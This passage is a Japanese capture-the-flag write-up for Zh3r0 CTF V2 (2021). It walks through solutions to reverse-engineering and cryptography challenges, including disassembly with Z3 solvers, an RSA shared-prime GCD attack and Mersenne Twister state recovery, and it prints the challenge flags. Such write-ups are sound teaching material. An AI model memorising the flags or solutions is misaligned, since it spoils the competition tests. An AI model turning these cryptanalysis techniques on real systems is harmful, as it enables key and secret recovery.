English version: Zh3r0 CTF V2 (2021) Writeup (English version) - Qiita
概要
Zh3r0 CTF V2 (2021/06/04 19:30 ～ 2021/06/06 19:30 (JST)) (CTFtime.org) に1人チームで参加した。
結果は4678点で、正の点数を取った509チーム中19位だった。
解けた問題と時刻は以下の通りである。
| Challenge | Category | Value | Time (JST) |
|---|---|---|---|
| A Small Maniac's game | Miscellaneous | 100 | 6/4 21:36:01 |
| chaos | Cryptography | 136 | 6/5 01:28:00 |
| b00tleg | Cryptography | 775 | 6/5 04:40:05 |
| Sanity | Miscellaneous | 1 | 6/5 05:02:58 |
| 1n_jection | Cryptography | 304 | 6/5 05:26:31 |
| Eat Sleep Trace Repeat | Reverse Engineering | 365 | 6/5 06:15:47 |
| sparta | Web | 100 | 6/5 07:41:18 |
| Twist and Shout | Cryptography | 718 | 6/5 08:56:09 |
| Real Mersenne | Cryptography | 949 | 6/5 11:35:43 |
| import numpy as MT | Cryptography | 930 | 6/6 02:02:43 |
| alice_bob_dave | Cryptography | 100 | 6/6 02:52:29 |
| bxxs | Web | 100 | 6/6 03:45:09 |
| BabyRE | Reverse Engineering | 100 | 6/6 05:38:22 |
survey (解けなかった問題)
問題surveyは、Googleフォームへのリンクが与えられ、
回答を送信するとflagっぽい文字列が表示されるというよくあるものだった。
しかし、制限時間が非常に短いようだった。
Discordで報告されたfirst bloodが終了9分前だったので、終了10分前頃に公開されたと予想できる。
今回の終了日は残念ながら風呂に入ることを要求される日であり、気付いた時には終わっていた。
表示されたflagっぽい文字列：
zh3r0{खेलने के लिए धन्यवाद}
Google翻訳にかけたところ、"thanks for playing"という意味のようだ。
解けた問題
Miscellaneous
Sanity
問題文にDiscordの招待URLが書かれているので、招待を受けた。
すると、Discord上でbotに画像に書かれた文字列の入力を求められたので、入力した。
flagを探した所、#generalチャンネルのトピックとして書かれていた。
zh3r0{pepega_welcomes_you}
A Small Maniac's game
プログラムを書いてキャラクターを動かし、ハシゴに誘導するゲームのURLが与えられた。
用意された13ステージをクリアし、Submit All Solutionボタンを押すことで、flagが得られた。
使える命令
0～7番地のメモリがある。
メモリへのアクセスは[0]のように[番地]で表現する。
[[0]]のようにすることで、アクセスする番地をメモリ内の値で指定することもできる。
-
MOVE 距離 方向- キャラクターを動かす。方向は0で下(距離が負なら上)、1で右(距離が負なら左)となる。
-
READ メモリ- キャラクターが居るマスの数値を指定のメモリに入れる。
-
UNLOCK 値- 指定した値を鍵として、キャラクターが隣接している扉を開ける。鍵が間違っていると強制終了となる。
-
ADD メモリ 値1 値2- 値1と値2の和をメモリに入れる。
-
SUB メモリ 値1 値2- 値1から値2を引いた結果をメモリに入れる。
-
MUL メモリ 値1 値2- 値1と値2の積をメモリに入れる。
-
JMP 値- 「値」行目に制御を移す。
-
JMPZ 値1 値2- 値2が0なら、「値1」行目に制御を移す。
-
JMPN 値1 値2- 値2が負なら、「値1」行目に制御を移す。
-
CMP メモリ 値1 値2- メモリに値1と値2の比較結果を入れる。すなわち、値1>値2なら1、値1=値2なら0、値1<値2なら-1を入れる。
各ステージ
level 0
MOVE命令を学ぶ。
level 1
MOVE命令の使い方を練習する。
level 2
READ命令とUNLOCK命令を学ぶ。
level 3
ADD、SUB、MUL命令を学ぶ。
level 4
JMP命令を学ぶ。
level 5
書かれている値によってどこの通路に行くかを決める。
level 6
JMPZ命令とJMPN命令を学ぶ。
level 7
左の値をa、上の値をb、右の値をcとして、書かれている式の値を計算する。
(この対応関係は最初に表示される)
level 8
左の値を右の値で割った値を求める。割り切れない場合にどうするべきかは不明。
具体的には、以下のアルゴリズムで求める。商は最初0に初期化されている。
- 割られる数と割る数を読む
- 割られる数から割る数を引く
- 引いた結果が負なら、商を出力して終了する
- 商に1を加える
- 2に戻る
level 9
書かれている値をxとして(サブルーチンを用いて)式の値を求める。
6番地を戻り先として使い、6行目～13行目で値の読み込み、式の計算、解錠、移動を行う。
level 10
アクセスする番地をメモリ内の値で指定することができることを学ぶ。
level 11
メモリの7番地に移動した道のりが記録されることを学ぶ。
level 12
素数判定を行う。
- 3～5行目：2未満の数を素数ではないと判定する。
- 6行目～15行目：試し割りにより素数判定を行う。
- 8行目～10行目：割る数が判定対象以上になったら、素数だと判定する。
- 11行目～15行目：割り算を行う。
- 13行目：割る数を引いた結果負になった(割り切れなかった)ら、次の割る数に行く。
- 14行目：割る数を引いた結果0になった(割り切れた)ら、素数ではないと判定する。
flag
zh3r0{s0m3t1m3s_4SM_c4N_g1b_bUrn5}
Binary Exploitation
残念ながら解けた問題は無かった。
Reverse Engineering
BabyRE
ELFファイルが与えられた。
CS50 IDEで実行してみると、コンソール上に表現されたGUIでパスワードの入力を求められた。
試しに適当に入力してEnterキーを押すと、INCORRECT PASSWORDと表示された。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルし、
バイナリエディタでアドレスと文字列の対応を見ながら調査した結果、
0x164e番地あたりで「CORRECT PASSWORD」、
0x168e番地あたりで「INCORRECT PASSWORD」を出力していることがわかった。
該当部分のダンプ
1645: 44 89 e2 mov %r12d,%edx
1648: 44 89 ee mov %r13d,%esi
164b: 48 89 ef mov %rbp,%rdi
164e: 48 8d 0d af 09 00 00 lea 0x9af(%rip),%rcx # 2004 <usleep@plt+0xc54>
1655: 31 c0 xor %eax,%eax
1657: e8 54 fc ff ff callq 12b0 <mvwprintw@plt>
165c: 31 d2 xor %edx,%edx
165e: be 00 01 00 00 mov $0x100,%esi
1663: 48 83 c4 08 add $0x8,%rsp
1667: 48 89 ef mov %rbp,%rdi
166a: 5b pop %rbx
166b: 5d pop %rbp
166c: 41 5c pop %r12
166e: 41 5d pop %r13
1670: e9 1b fd ff ff jmpq 1390 <wattr_off@plt>
1675: 0f 1f 00 nopl (%rax)
1678: be 00 04 00 00 mov $0x400,%esi
167d: 48 89 ef mov %rbp,%rdi
1680: e8 6b fc ff ff callq 12f0 <wattr_on@plt>
1685: 44 89 e2 mov %r12d,%edx
1688: 44 89 ee mov %r13d,%esi
168b: 48 89 ef mov %rbp,%rdi
168e: 48 8d 0d 82 09 00 00 lea 0x982(%rip),%rcx # 2017 <usleep@plt+0xc67>
1695: 31 c0 xor %eax,%eax
1697: e8 14 fc ff ff callq 12b0 <mvwprintw@plt>
さらに、0x162c番地で0x1560番地の関数を呼び、
戻り値が0でなければ0x168e番地に繋がる0x1678番地へ飛ぶようだった。
0x1560番地の関数は、
- 第一引数で与えられる文字列の長さが0x20かを
strlen関数でチェックする - 入力データを8バイトずつのブロックに分け、0x14d0番地の関数で加工する
- 加工結果が期待したものかを
memcmp関数でチェックする
という処理をしていた。
0x14d0番地の関数とは、以下のものである。
ダンプ結果
14d0: f3 0f 1e fa endbr64
14d4: 48 83 ec 18 sub $0x18,%rsp
14d8: 45 31 d2 xor %r10d,%r10d
14db: 31 f6 xor %esi,%esi
14dd: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
14e4: 00 00
14e6: 48 89 44 24 08 mov %rax,0x8(%rsp)
14eb: 31 c0 xor %eax,%eax
14ed: 48 c7 04 24 00 00 00 movq $0x0,(%rsp)
14f4: 00
14f5: 49 89 e3 mov %rsp,%r11
14f8: 4c 8d 4c 24 08 lea 0x8(%rsp),%r9
14fd: 0f 1f 00 nopl (%rax)
1500: 46 0f b6 04 17 movzbl (%rdi,%r10,1),%r8d
1505: 44 89 d1 mov %r10d,%ecx
1508: 4c 89 d8 mov %r11,%rax
150b: eb 06 jmp 1513 <usleep@plt+0x163>
150d: 0f 1f 00 nopl (%rax)
1510: 0f b6 30 movzbl (%rax),%esi
1513: 44 89 c2 mov %r8d,%edx
1516: 48 83 c0 01 add $0x1,%rax
151a: 41 d0 e8 shr %r8b
151d: 83 e2 01 and $0x1,%edx
1520: d3 e2 shl %cl,%edx
1522: 09 f2 or %esi,%edx
1524: 88 50 ff mov %dl,-0x1(%rax)
1527: 49 39 c1 cmp %rax,%r9
152a: 75 e4 jne 1510 <usleep@plt+0x160>
152c: 49 83 c2 01 add $0x1,%r10
1530: 49 83 fa 08 cmp $0x8,%r10
1534: 74 0a je 1540 <usleep@plt+0x190>
1536: 0f b6 34 24 movzbl (%rsp),%esi
153a: eb c4 jmp 1500 <usleep@plt+0x150>
153c: 0f 1f 40 00 nopl 0x0(%rax)
1540: 48 8b 7c 24 08 mov 0x8(%rsp),%rdi
1545: 64 48 33 3c 25 28 00 xor %fs:0x28,%rdi
154c: 00 00
154e: 48 8b 04 24 mov (%rsp),%rax
1552: 75 05 jne 1559 <usleep@plt+0x1a9>
1554: 48 83 c4 18 add $0x18,%rsp
1558: c3 retq
1559: e8 22 fd ff ff callq 1280 <__stack_chk_fail@plt>
C言語で書き下すと、以下のような処理のようである。
書き下し 1
uint64_t func_14d0(char* rdi) {
uint32_t r10d = 0;
uint32_t esi = 0;
uint64_t mem_rsp = 0;
uint64_t rsp = (uint64_t)&mem_rsp;
/* 14f5 */
uint64_t r11 = rsp;
uint64_t r9 = rsp + 8;
do {
uint32_t r8d = (uint8_t)rdi[r10];
/* 1505 */
uint32_t ecx = r10d;
uint64_t rax = r11;
do {
/* 1513 */
uint32_t edx = r8d;
rax += 1;
r8d = (r8d & 0xffffff00) | ((r8d & 0xff) >> 1);
edx &= 1;
edx <<= ecx;
edx |= esi;
*(uint8_t)(rax - 1) = edx;
/* 1527 */
} while (r9 != rax && (esi = *(uint8_t)rax, 1));
/* 152c */
r10 += 1;
} while (r10 != 0x8 && (esi = *(uint8_t)rsp, 1));
return mem_rsp;
}
さらに整理すると、以下のような処理である。
書き下し 2
uint64_t func_14d0(char* rdi) {
int i, j;
union {
uint8_t a[8];
uint64_t i;
} ret;
ret.i = 0;
for(i = 0; i < 8; i++) {
uint8_t r8 = rdi[i];
for (j = 0; j < 8; j++) {
uint8_t edx = r8;
r8 >>= 1;
ret.a[j] = ((edx & 1) << i) | ret.a[j];
}
}
return ret.i;
}
CS50 IDE上でこのELFファイルのプロセスにGDBでアタッチし、
0x15d4番地(memcmp関数の呼び出し)にブレークポイントをセットすることで、
memcmp関数の引数を読み取ることができ、そこからそこに格納されている値を読み取ることができた。
ブレークポイントのセットに用いるアドレスは、whereの実行結果の末尾3桁をダンプ結果の番地と見比べ、
それっぽい対応を探した結果、末尾が3d1のアドレスが0x13d1番地に対応するとみなせると仮定することで、
求めることができた。
得られた期待する値に基づき、Z3を用いてそれに対応する入力を求めた。
対応する入力を求めるプログラム
solve.py
import z3
targets = [
0x00ab7ffda3c0ada4, 0x00fdbfda48e2d5e8,
0x0076bf7bc4f240d1, 0x00fd82aeadd50787
]
def solve(target):
s = z3.Solver()
rdi = [z3.BitVec("c" + str(i), 8) for i in range(8)]
ret = [0 for i in range(8)]
for i in range(8):
r8 = rdi[i]
for j in range(8):
edx = r8
r8 = z3.LShR(r8, 1)
ret[j] = ((edx & 1) << i) | ret[j]
for i in range(8):
s.add(ret[i] == ((target >> (8 * i)) & 0xff))
res = s.check()
if res == z3.sat:
m = s.model()
return [m[v].as_long() for v in rdi]
else:
raise Exception(str(res))
ans = ""
for t in targets:
res = solve(t)
print(res)
for c in res:
ans += chr(c)
print(ans)
その結果、得られたデータがflagになっていた。
zh3r0{4_b4byre_w1th0ut_-O3_XDXD}
Eat Sleep Trace Repeat
実行した命令とそのアドレスの列と考えられるテキストデータが与えられた。
サクラエディタの機能でデータを昇順ソートし、重複行を削除することで、以下のプログラムが得られた。
復元されたプログラム
0x401000 : call 0x401068
0x401005 : push rbp
0x401006 : mov rbp, rsp
0x401009 : xor rax, rax
0x40100c : xor rdi, rdi
0x40100f : lea rsi, ptr [0x402808]
0x401017 : mov edx, 0x64
0x40101c : syscall
0x40101e : mov rsp, rbp
0x401021 : pop rbp
0x401022 : ret
0x401023 : mov rcx, qword ptr [0x402000]
0x40102b : mov rdx, rcx
0x40102e : shr rdx, 0xc
0x401032 : xor rcx, rdx
0x401035 : mov rdx, rcx
0x401038 : shl rdx, 0x19
0x40103c : xor rcx, rdx
0x40103f : mov rdx, rcx
0x401042 : shr rdx, 0x1b
0x401046 : xor rcx, rdx
0x401049 : mov rax, 0x2545f4914f6cdd1d
0x401053 : mul rcx
0x401056 : mov qword ptr [0x402000], rcx
0x40105e : ret
0x40105f : mov qword ptr [0x402000], rdi
0x401067 : ret
0x401068 : mov eax, 0x1
0x40106d : mov rdi, rax
0x401070 : lea rsi, ptr [0x4028d0]
0x401078 : mov edx, 0x10
0x40107d : syscall
0x40107f : call 0x401005
0x401084 : mov edi, 0x41424344
0x401089 : call 0x40105f
0x40108e : mov ecx, 0x800
0x401093 : xor r15, r15
0x401096 : test rcx, rcx
0x401099 : jz 0x4010b1
0x40109b : push rcx
0x40109c : call 0x401023
0x4010a1 : pop rcx
0x4010a2 : mov byte ptr [r15+0x402008], al
0x4010a9 : inc r15
0x4010ac : dec rcx
0x4010af : jmp 0x401096
0x4010b1 : mov esi, 0x0
0x4010b6 : mov dil, byte ptr [rsi+0x402808]
0x4010bd : call 0x401106
0x4010c2 : cmp rax, 0xffffffffffffffff
0x4010c6 : jz 0x4010fa
0x4010c8 : mov byte ptr [rsi+0x40286c], al
0x4010ce : inc rsi
0x4010d1 : cmp sil, 0x64
0x4010d5 : jnz 0x4010b6
0x4010d7 : mov eax, 0x1
0x4010dc : mov rdi, rax
0x4010df : lea rsi, ptr [0x4028e1]
0x4010e7 : mov edx, 0x10
0x4010ec : syscall
0x4010ee : mov eax, 0x3c
0x4010f3 : mov edi, 0x0
0x4010f8 : syscall
0x401106 : push rbp
0x401107 : mov rbp, rsp
0x40110a : mov rbx, rdi
0x40110d : xor rdx, rdx
0x401110 : mov al, byte ptr [rdx+0x402008]
0x401116 : inc rdx
0x401119 : cmp rdx, 0x7ff
0x401120 : jz 0x401131
0x401122 : cmp al, bl
0x401124 : jnz 0x401110
0x401126 : dec rdx
0x401129 : mov rax, rdx
0x40112c : mov rsp, rbp
0x40112f : pop rbp
0x401130 : ret
これをC言語で書き下すと、以下のようになった。
書き下し 1
#include <inttypes.h>
#include <unistd.h>
uint64_t func_401106(uint64_t rdi);
uint64_t mem_402000;
uint8_t mem_402808[4096];
uint8_t mem_4028d0[4096];
uint8_t mem_402008[4096];
uint8_t mem_40286c[4096];
uint8_t mem_4028e1[4096];
void func_401005(void) {
read(0, mem_402808, 0x64);
}
uint64_t func_401023(void) {
uint64_t rax, rcx, rdx;
rcx = mem_402000;
rdx = rcx;
rdx >>= 0xc;
rcx ^= rdx;
rdx = rcx;
rdx <<= 0x19;
rcx ^= rdx;
rdx = rcx;
rdx >>= 0x1b;
rcx ^= rdx;
rax = rcx * UINT64_C(0x2545f4914f6cdd1d);
mem_402000 = rcx;
return rax;
}
void func_40105f(uint64_t rdi) {
mem_402000 = rdi;
}
void func_401068(void) {
uint64_t rcx, r15, rsi, rax;
syscall(1, mem_4028d0, 0x10);
func_401005();
func_40105f(0x41424344);
rcx = 0x800;
r15 = 0;
label_401096:
if (rcx == 0) goto label_4010b1;
mem_402008[r15] = (uint8_t)func_401023();
r15++;
rcx--;
goto label_401096;
label_4010b1:
rsi = 0x0;
label_0x4010b6:
rax = func_401106(mem_402808[rsi]);
if (rax == UINT64_C(0xffffffffffffffff)) goto label_4010fa;
mem_40286c[rsi] = (uint8_t)rax;
rsi++;
if ((uint8_t)rsi != 0x64) goto label_0x4010b6;
/* 4010d7 */
write(1, mem_4028e1, 0x10);
/* 4010ee */
_exit(0);
label_4010fa:
; /* not shown */
}
uint64_t func_401106(uint64_t rdi) {
uint64_t rax, rbx, rdx;
rbx = rdi;
rdx = 0;
label_0x401110:
rax = mem_402008[rdx];
rdx++;
if (rdx == 0x7ff) goto label_401131;
if ((uint8_t)rax != (uint8_t)rbx) goto label_0x401110;
rdx--;
rax = rdx;
return rax;
label_401131;
; /* not shown */
}
さらに整理すると、以下のようになった。
書き下し 2
#include <inttypes.h>
#include <unistd.h>
uint64_t search(uint8_t target);
uint64_t rng_status;
uint8_t input_buffer[4096];
uint8_t message1[4096];
uint8_t random_data[4096];
uint8_t found_data[4096];
uint8_t message2[4096];
void read_data(void) {
read(0, input_buffer, 0x64);
}
uint64_t rng_get(void) {
uint64_t work;
work = rng_status;
work ^= (work >> 0xc);
work ^= (work << 0x19);
work ^= (work >> 0x1b);
rng_status = work;
return work * UINT64_C(0x2545f4914f6cdd1d);
}
void rng_seed(uint64_t seed) {
rng_status = seed;
}
void entry(void) {
uint64_t i, pos;
uint64_t rcx, r15, rsi, rax;
syscall(1, message1, 0x10);
read_data();
rng_seed(0x41424344);
for (i = 0x800, pos = 0; i != 0; i--) {
random_data[pos++] = (uint8_t)rng_get();
}
for (i = 0; i != 0x64; i++) {
uint64_t res = search(input_buffer[i]);
if (res == UINT64_C(0xffffffffffffffff)) {
/* not shown */
for(;;);
}
found_data[rsi] = (uint8_t)res;
}
write(1, message2, 0x10);
_exit(0);
}
uint64_t search(uint8_t target) {
uint64_t i = 0;
for (;;) {
uint8_t c = random_data[i++];
if (i == 0x7ff) {
/* not shown */
return UINT64_C(0xdeadbeef);
}
if (c == target) {
return i - 1;
}
}
}
これは、入力データの各バイトを乱数列から探し、結果を配列に格納するプログラムのようである。
以下のプログラムで試した所、この乱数列には全ての8ビット符号なし整数が含まれるようだった。
乱数列を出力し、各整数が含まれるかをチェックするプログラム
rng_test.c
#include <stdio.h>
#include <inttypes.h>
uint64_t rng_status;
uint64_t rng_get(void) {
uint64_t work;
work = rng_status;
work ^= (work >> 0xc);
work ^= (work << 0x19);
work ^= (work >> 0x1b);
rng_status = work;
return work * UINT64_C(0x2545f4914f6cdd1d);
}
void rng_seed(uint64_t seed) {
rng_status = seed;
}
int main(void) {
char visited[256] = "";
rng_seed(0x41424344);
for (int i = 0; i < 0x800; i++) {
int x = (int)(uint8_t)rng_get();
printf("%d\n", x);
visited[x] = 1;
}
for (int i = 0; i < 256; i++) {
putchar(visited[i] ? 'x' : '.');
}
return 0;
}
さて、今ある情報から入力データを復元したい。
ここで、最初の命令列を用いることで、データの検索結果を得ることができる。
これには、「検索関数に入ってから出るまでに、カウンタのインクリメントを何回したか」を求めればよい。
検索関数の返り値を求めるプログラム
parse.pl
#!/usr/bin/perl
use strict;
use warnings;
my $count = 0;
while (my $line = <STDIN>) {
my ($addr, $other) = split(/ : /, $line);
if ($addr eq "0x40110d") {
$count = 0;
} elsif ($addr eq "0x401116") {
$count++;
} elsif ($addr eq "0x401126") {
printf("%d\n", $count - 1);
}
}
この検索関数の返り値の列と乱数列から、入力データを復元することができる。
入力データを復元するプログラム
solve.pl
#!/usr/bin/perl
use strict;
use warnings;
my @rng_res = ();
open(RNG, "< rng_test-out.txt") or die;
while (my $line = <RNG>) {
chomp($line);
if ($line =~ /\A\d+\z/) {
push(@rng_res, int($line));
}
}
close(RNG);
my @parse_res = ();
open(PARSE, "< parse-res.txt") or die;
while (my $line = <PARSE>) {
printf("%c", $rng_res[int($line)]);
}
close(PARSE);
print "\n";
zh3r0{d1d_y0u_enjoyed_r3v3rs1ng_w1th0ut_b1n4ry_?}
Cryptography
alice_bob_dave
以下の処理をするプログラムと、その出力が与えられた。
- 定数
e=65537、1024ビットの素数p,q,r、メッセージを表す数pt_a,pt_bを用意する -
(p-1)*(q-1)を法とするeの逆数d_aを求める -
(p-1)*(r-1)を法とするeの逆数d_bを求める -
pt_aをe乗してp*qで割った余りct_aを求める -
pt_bをe乗してp*rで割った余りct_bを求める
出力は以下のものであった。
ct_a=1991374644522844726604723395302447678829362766488998002689642863876589167224123634868869407586265887639572846618361378190717796457675877867002990630200549839187693737176043693114429036857443618075597595356236777647214186597416429862630588853297534066191784060030827904725960955181749644590885127762513958644117342351741609981560458367036971039921421548984093411630930209440031060634872093143755813835906517674672118355461511837533783279547447855290393938723966500874359457216314821548439555245649159786182924722770460929014017979622168454175758261065999271764594369618940918533185330319317089809708951104047147411596
ct_b=11560415492145861207516424108577715664730529386805857287246533744961821151018194362544284902991666685182413092786353089517543091603274250128250910669110530206320138191614471688310529571895441809729559056935543845898702106837033971935287923495445981173899073238286288875669342754013550227359718814123485311705960547980778357375585882146296937739196745327987012437076826111202650212821723168353665944362122152786549834258495316372518691633486765982945106049194892430437710982481105051765183397588927444843790029563399175420351710322220501327577415113508236805750358567711052779340011355629159610689505604941700815518380
d_a=12007894588345817095001901772235818535532128075248502006167506715501613386280619988757005912270381074208611126718938214462213079931302423653355153363846803336576965899104058007549509604040316897464770127372797630135493394807353800174267249408200186888724103432412296802728616667116382243738519746110159825921676647202689661952040602841752466515868580858475210918168761862255041985423595605698941150797550252491451770611246462256935118062094973933183288422900540413805923476283359196218128607678993284504582128505198491110084905108072190837781925478455984417366202863689318005069821086805269764308054632708127147397685
d_b=15309121030008789112453654624398278092026139678301334759817236349957760197277968332173160272007689043235997494440248487531238644015060915059836861728115118555482791561589562225055947155368216166612774271639118879220806859714069050410034235487298164832205885978355955618431606156727831992132535894020870312453902803351757466444078059503362362343138846985263572980446344678973847354860739168547872456538618897496981232096868408852088578700314051200160980186449222946973789039336701174360592471866811887750298968395798446811465432587371913161943176018766518394820191044593922558127924048562996714970537749736086175516533
e=65537
d_aおよびd_bがeの逆数であるということは、適当な整数hoge1、hoge2を用いて
e * d_a == hoge1 * ((p-1)*(q-1)) + 1
e * d_b == hoge2 * ((p-1)*(r-1)) + 1
と表すことができる。すなわち、
hoge1 * (p-1) * (q-1) == e * d_a - 1
hoge2 * (p-1) * (r-1) == e * d_b - 1
が成り立つので、e * d_a - 1とe * d_b - 1の最大公約数はp-1の倍数になる。
この最大公約数は
1063674784897149990359668699718471130138210187735367649430043494704446119726399134598128757909584679831926492357718602564233801979897366986055094675176840339284000611158244788448799456009499061900373083529001714824292921023704494926141676352020474793949930704354415623841306024461826411230448291945896587096972
であり、底が2の対数をとると約1026.56であった。
最初の素数は1024ビットのはずなので、2ビット程度多いようである。
小さい整数で順に割っていき、割り切れた商に1を足したものを巨大数向け素数判定機で調べると、
2～1000で割った中で、6で割って1を足した
177279130816191665059944783286411855023035031289227941571673915784074353287733189099688126318264113305321082059619767094038966996649561164342515779196140056547333435193040798074799909334916510316728847254833619137382153503950749154356946058670079132324988450725735937306884337410304401871741381990982764516163
のみが「おそらく素数」と判定された。よって、これが素数pであると推測できた。
ここで、
hoge1 * (p-1) * (q-1) == e * d_a - 1
を変形すると、
(e * d_a - 1) / (p-1) == hoge1 * (q-1)
となり、q-1の倍数が出てくる。この値は
4439109014204074880496681600978838415162548241966597861044829103033998899476792246936766381662485311079037525893642252558644187815383799425046177251935134882238733003448788817295856797705945107852493812420719637192501830180727307768442674256794164003420441243453015931578008974736312772968433473928239439066207962
であり、底が2の対数は約1038.59であった。
1 << 13～1 << 15の数で割って調べた所、28477で割って1を足した
155884012157322571917571429609117477794801005792976713173607792359939561733216007547732077875565730627490168412882054028115468195925968305125054508969875158276459353283308944667481012666571096247936714275405402155862690247593753125976847078582510938772358086998385220759841590572613434454768180423789003022307
が「おそらく素数」となった。よって、これが素数qであると推測できた。
同様に、素数rは
152403791625721851654120555560673744553701328109255879726337480096744356018547509475023868657897447439271501318332177621761545812231960220886709355355570370122257259486344955476929483307543879747176492652883512877777163462444499810416443763758426816456424484060280743786614239115245058838657579029682477426407
であると推測できた。
ct_aのd_a乗をp*qで割った余りを計算すると、
0x48657920446176652069747320416c69636520686572652e4d7920666c6167206973207a683372307b4743445f63306d33735f
となり、CyberChefのFrom Hexを用いると
Hey Dave its Alice here.My flag is zh3r0{GCD_c0m3s_
というメッセージになった。
ct_bのd_b乗をp*rで割った余りを計算すると、
0x48657920446176652069747320426f6220686572652e4d7920666c61672069732037305f5233734375655f333734323938367d
となり、これは
Hey Dave its Bob here.My flag is 70_R3sCue_3742986}
というメッセージになった。
これらのメッセージを組み合わせることで、flagが得られた。
zh3r0{GCD_c0m3s_70_R3sCue_3742986}
chaos
TCPサーバの接続情報と、そこで動いているプログラムが与えられた。
プログラムは、2個の入力についてハッシュ値の計算を行い、
違う入力で同じハッシュ値であればflagを出力するというものだった。
ハッシュ値の計算で使われていた最初の謎の値0x0124fdceでググってみると、
Collisions in the Original Version of a Chaotic Hash Function
がヒットし、同じアルゴリズムを扱っている感じだった。
この資料に書かれていたThe first input
0124fdce89ab57eaba89370afedc45ef401ab257b7cd34e176b3a27cf13c3adf
およびComplementing entire first input
fedb02317654a8154576c8f50123ba10bfe54da84832cb1e894c5d830ec3c520
を入れることで、flagが得られた。
zh3r0{something_chaotic_may_look_random_enough_but_may_be_not_sufficiently_secure}
1n_jection
Pythonのソースコードが与えられ、出力がコメントとして書かれていた。
このプログラムは、flagの値を入力とし、以下の関数の計算結果を出力するものであった。
- 入力が1要素のリストなら、その要素を返す
- 入力が2要素のリストなら、その要素を順に
i, jとして、((i+j)*(i+j+1))//2 +jの値を返す - それ以外なら、
関数([関数(入力の前半部分), 関数(入力の後半部分)])の値を返す
Raspberry Pi (Raspbian) でwolframコマンドを実行し、valueを関数の返り値として
Solve[(i+j) * (i+j+1) == (value - j) * 2 && i > 0 && j > 0, {i, j}, Integers]
を求めさせることで、返り値から入力の2要素のリストの要素の値を求めることができた。
これを文字を表す数っぽくなるまで手動でひたすら行うことで、最初の入力のリストを求めることができた。
求めた結果
2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585
2278834357980551260265893505361407822452682233302364523894857044741892783229529282237100284183509698213837939146481400378598979682679
2134868244312941386703277767042670355929943244119099314950552922690
1537065234166657769219388838655937
55444840826037027
332987772
25755
122
104
51
13251
114
48
848669877
29522
123
119
11676
104
48
529268835780862302741627946795014
32535175364785590
255075095
22482
95
116
104
13812
48
117
546245298
21632
103
104
11420
55
95
1474419586450856126403100549320874907584932688256725964981793
1717218440647362925299672185642
1853223210706360
60869167
10927
98
49
106
11424
51
99
165277961
5509
55
49
12671
48
110
684696523628109948
601080006
11121
53
95
23550
102
114
569130678
12512
48
109
21225
95
110
529377795079622267532991398642193204133249743982708830397008281794348705646419161299403271050129547692658261326245143632688654825
32538524705712852729154545286627993152555443207602046242682691405
244077127246765824979234452716472
22094212335300813
210196851
20408
94
107
95
13578
116
48
809627694
21225
95
110
19014
95
99
11024910007791798160226223316554
4695723027042806
96890268
13812
48
117
108
19205
100
95
561030026
11226
98
51
22270
95
115
2073831665380255847491873777679475190685506007741655740
2036581285021494171117338190
63821051900844
11293176
4704
48
48
48
4704
48
48
281288325
19014
95
99
4704
48
48
64007073674969987
44264640
4704
48
48
4704
48
48
313526006
12354
48
108
12686
33
125
ここから末端の値を拾って文字列にすることで、flagが得られた。
値を拾うプログラム
get.pl
#!/usr/bin/perl
use strict;
use warnings;
while (my $line = <STDIN>) {
if ($line =~ /(\d+)/) {
my $c = int($1);
if ($c < 256) {
print chr($c);
}
}
}
print "\n";
zh3r0{wh0_th0ugh7_b1j3c710n5_fr0m_n^k_t0_n_c0uld_b3_s00000_c0000000l!}
Twist and Shout
TCPサーバの接続情報と、そこで動いているPythonのプログラムが与えられた。
プログラムは、以下をするものであった。
- flagを含むデータを用い、624要素のタプル
stateを作る -
random.setstate((3,state+(624,),None))を行う -
random.getrandbits(32)の返り値を624個出力する
cpython/random.py at main · python/cpython · GitHub
cpython/_randommodule.c at main · python/cpython · GitHub
あたりを参考にすると、
random.setstateは与えられた値をメルセンヌ・ツイスタの内部状態にそのまま書き込んでいるようである。
また、random.getrandbits(32)は、genrand_uint32の返り値がそのまま返るようであった。
実際に、random.getstate()で得られた値を用いてメルセンヌ・ツイスタの内部状態を初期化することで、
メルセンヌ・ツイスタからrandom.getrandbits(32)と同じ値が得られることを確認できた。
そこで、メルセンヌ・ツイスタをPythonに移植し、Z3で乱数列から最初の内部状態を求めさせた。
乱数列から最初の内部状態を求めるプログラム
solve.py
import z3
import sys
def getBV(name):
return z3.BitVec(name, 32)
N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff
mt_vars = [getBV("mt" + str(i)) for i in range(N)]
mt = [v for v in mt_vars]
mti = N
def genrand_int32():
global mti
if mti >= N:
for kk in range(N - M):
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
mt[kk] = mt[kk + M] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
for kk in range(N - M, N - 1):
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
mt[kk] = mt[kk + (M-N)] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
mt[N - 1] = mt[M - 1] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
mti = 0
y = mt[mti]
mti = mti + 1
y = y ^ z3.LShR(y, 11)
y = y ^ ((y << 7) & 0x9d2c5680)
y = y ^ ((y << 15) & 0xefc60000)
y = y ^ z3.LShR(y, 18)
return y
s = z3.Solver()
for l in sys.stdin.readlines():
data = l.rstrip()
if len(data) > 0:
value = int(data)
s.add(genrand_int32() == value)
res = s.check()
if res == z3.sat:
m = s.model()
for v in mt_vars:
print(hex(m[v].as_long()))
else:
print(res)
移植元コードについて
mt19937ar: Mersenne Twister with improved initialization
のmt19937ar.cから移植を行った。
移植元のライセンス表記：
Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The names of its contributors may not be used to endorse or promote
products derived from this software without specific prior written
permission.
